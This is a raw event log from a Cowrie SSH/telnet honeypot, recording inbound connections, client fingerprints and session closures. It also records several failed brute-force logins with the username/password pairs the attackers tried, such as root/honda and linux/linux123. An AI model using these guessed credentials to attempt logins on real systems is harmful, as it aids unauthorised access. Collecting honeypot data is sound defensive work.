{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:31.312319Z","src_ip":"209.99.184.143","session":"afc77f4194c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":47582,"dst_ip":"159.203.135.109","dst_port":22,"session":"d802fb5c88ee","protocol":"ssh","message":"New connection: 165.154.23.26:47582 (159.203.135.109:22) [session: d802fb5c88ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:53.953641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:53.963881Z","src_ip":"165.154.23.26","session":"d802fb5c88ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:54.185189Z","src_ip":"165.154.23.26","session":"d802fb5c88ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:55.110806Z","src_ip":"165.154.23.26","session":"d802fb5c88ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:56.345855Z","src_ip":"165.154.23.26","session":"d802fb5c88ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.221.139.48","src_port":31726,"dst_ip":"159.203.135.109","dst_port":22,"session":"c64a04c0f055","protocol":"ssh","message":"New connection: 8.221.139.48:31726 (159.203.135.109:22) [session: c64a04c0f055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:24.456426Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:27.708585Z","src_ip":"8.221.139.48","session":"c64a04c0f055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.221.139.48","src_port":29876,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b4890cea878","protocol":"ssh","message":"New connection: 8.221.139.48:29876 (159.203.135.109:22) [session: 0b4890cea878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:27.868258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:27.874062Z","src_ip":"8.221.139.48","session":"0b4890cea878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:28.034059Z","src_ip":"8.221.139.48","session":"0b4890cea878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:28.516189Z","src_ip":"8.221.139.48","session":"0b4890cea878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":19258,"dst_ip":"10.17.0.5","dst_port":22,"session":"3faeef565bfe","protocol":"ssh","message":"New connection: 176.65.132.190:19258 (10.17.0.5:22) [session: 3faeef565bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:31.677523Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:31.687119Z","src_ip":"176.65.132.190","session":"3faeef565bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.121.199.235","src_port":43764,"dst_ip":"10.17.0.5","dst_port":23,"session":"6611b3a33dd6","protocol":"telnet","message":"New connection: 182.121.199.235:43764 (10.17.0.5:23) [session: 6611b3a33dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:47.215094Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.8","src_port":45780,"dst_ip":"159.203.135.109","dst_port":22,"session":"b86156d3c89c","protocol":"ssh","message":"New connection: 197.5.145.8:45780 (159.203.135.109:22) [session: b86156d3c89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:50.264497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:50.269017Z","src_ip":"197.5.145.8","session":"b86156d3c89c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:50.389484Z","src_ip":"197.5.145.8","session":"b86156d3c89c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"honda","message":"login attempt [root/honda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:50.904675Z","src_ip":"197.5.145.8","session":"b86156d3c89c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:52.028885Z","src_ip":"197.5.145.8","session":"b86156d3c89c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00159525871277,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:54.664967Z","src_ip":"149.76.244.116","session":"e7a3160b29ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.76.244.116","src_port":38940,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf48ce936358","protocol":"telnet","message":"New connection: 149.76.244.116:38940 (159.203.135.109:23) [session: cf48ce936358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:55.767654Z"}
{"eventid":"cowrie.session.closed","duration":120.00128054618835,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:58.252671Z","src_ip":"149.76.244.116","session":"ae22bc4dc60f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.76.244.116","src_port":39390,"dst_ip":"159.203.135.109","dst_port":23,"session":"139e0037ed53","protocol":"telnet","message":"New connection: 149.76.244.116:39390 (159.203.135.109:23) [session: 139e0037ed53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:58.815892Z"}
{"eventid":"cowrie.session.closed","duration":120.00218749046326,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:59.759464Z","src_ip":"149.76.244.116","session":"f1a3946e7d67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.591502666473389,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:45:59.806454Z","src_ip":"182.121.199.235","session":"6611b3a33dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.76.244.116","src_port":39640,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7b851947275","protocol":"telnet","message":"New connection: 149.76.244.116:39640 (159.203.135.109:23) [session: b7b851947275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:00.529560Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.90.133","src_port":36910,"dst_ip":"10.17.0.5","dst_port":23,"session":"baabc4908a39","protocol":"telnet","message":"New connection: 170.79.90.133:36910 (10.17.0.5:23) [session: baabc4908a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:00.916687Z"}
{"eventid":"cowrie.session.closed","duration":120.00222039222717,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:00.987586Z","src_ip":"149.76.244.116","session":"e55956b47660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":17320,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8c9e4dcb06d","protocol":"ssh","message":"New connection: 165.154.23.26:17320 (159.203.135.109:22) [session: d8c9e4dcb06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:11.657277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:11.661928Z","src_ip":"165.154.23.26","session":"d8c9e4dcb06d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:11.885272Z","src_ip":"165.154.23.26","session":"d8c9e4dcb06d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"himanshu","password":"himanshu","message":"login attempt [himanshu/himanshu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:12.806684Z","src_ip":"165.154.23.26","session":"d8c9e4dcb06d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.853672742843628,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:13.770233Z","src_ip":"170.79.90.133","session":"baabc4908a39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:14.030970Z","src_ip":"165.154.23.26","session":"d8c9e4dcb06d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.155.246.152","src_port":52934,"dst_ip":"159.203.135.109","dst_port":23,"session":"71110ee9584c","protocol":"telnet","message":"New connection: 103.155.246.152:52934 (159.203.135.109:23) [session: 71110ee9584c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:22.297202Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47240,"dst_ip":"10.17.0.5","dst_port":22,"session":"0892ffd39272","protocol":"ssh","message":"New connection: 47.86.95.62:47240 (10.17.0.5:22) [session: 0892ffd39272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:29.775252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:37.094548Z","src_ip":"47.86.95.62","session":"0892ffd39272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.054514408111572,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:39.351466Z","src_ip":"103.155.246.152","session":"71110ee9584c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.225.20","src_port":53126,"dst_ip":"159.203.135.109","dst_port":22,"session":"163814a8ad12","protocol":"ssh","message":"New connection: 165.154.225.20:53126 (159.203.135.109:22) [session: 163814a8ad12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:46:58.650562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:00.522243Z","src_ip":"165.154.225.20","session":"163814a8ad12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:00.526569Z","src_ip":"165.154.225.20","session":"163814a8ad12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:00.990782Z","src_ip":"165.154.225.20","session":"163814a8ad12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40496,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f77b4503e58","protocol":"ssh","message":"New connection: 47.86.95.62:40496 (10.17.0.5:22) [session: 3f77b4503e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:01.621516Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":55798,"dst_ip":"159.203.135.109","dst_port":22,"session":"df3e3e0d9cdd","protocol":"ssh","message":"New connection: 209.99.184.143:55798 (159.203.135.109:22) [session: df3e3e0d9cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:03.513472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:03.521045Z","src_ip":"209.99.184.143","session":"df3e3e0d9cdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:03.708064Z","src_ip":"209.99.184.143","session":"df3e3e0d9cdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xhl2g06n","password":"rDsmrHIgoab9w+EfuqeP","message":"login attempt [xhl2g06n/rDsmrHIgoab9w+EfuqeP] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:04.104866Z","src_ip":"209.99.184.143","session":"df3e3e0d9cdd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:04.824357Z","src_ip":"47.86.95.62","session":"3f77b4503e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.252.238.153","src_port":44666,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6c01bde88a6","protocol":"ssh","message":"New connection: 216.252.238.153:44666 (10.17.0.5:22) [session: d6c01bde88a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.143679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.149723Z","src_ip":"216.252.238.153","session":"d6c01bde88a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:47:05.202581Z","src_ip":"209.99.184.143","session":"df3e3e0d9cdd","protocol":"ssh"}
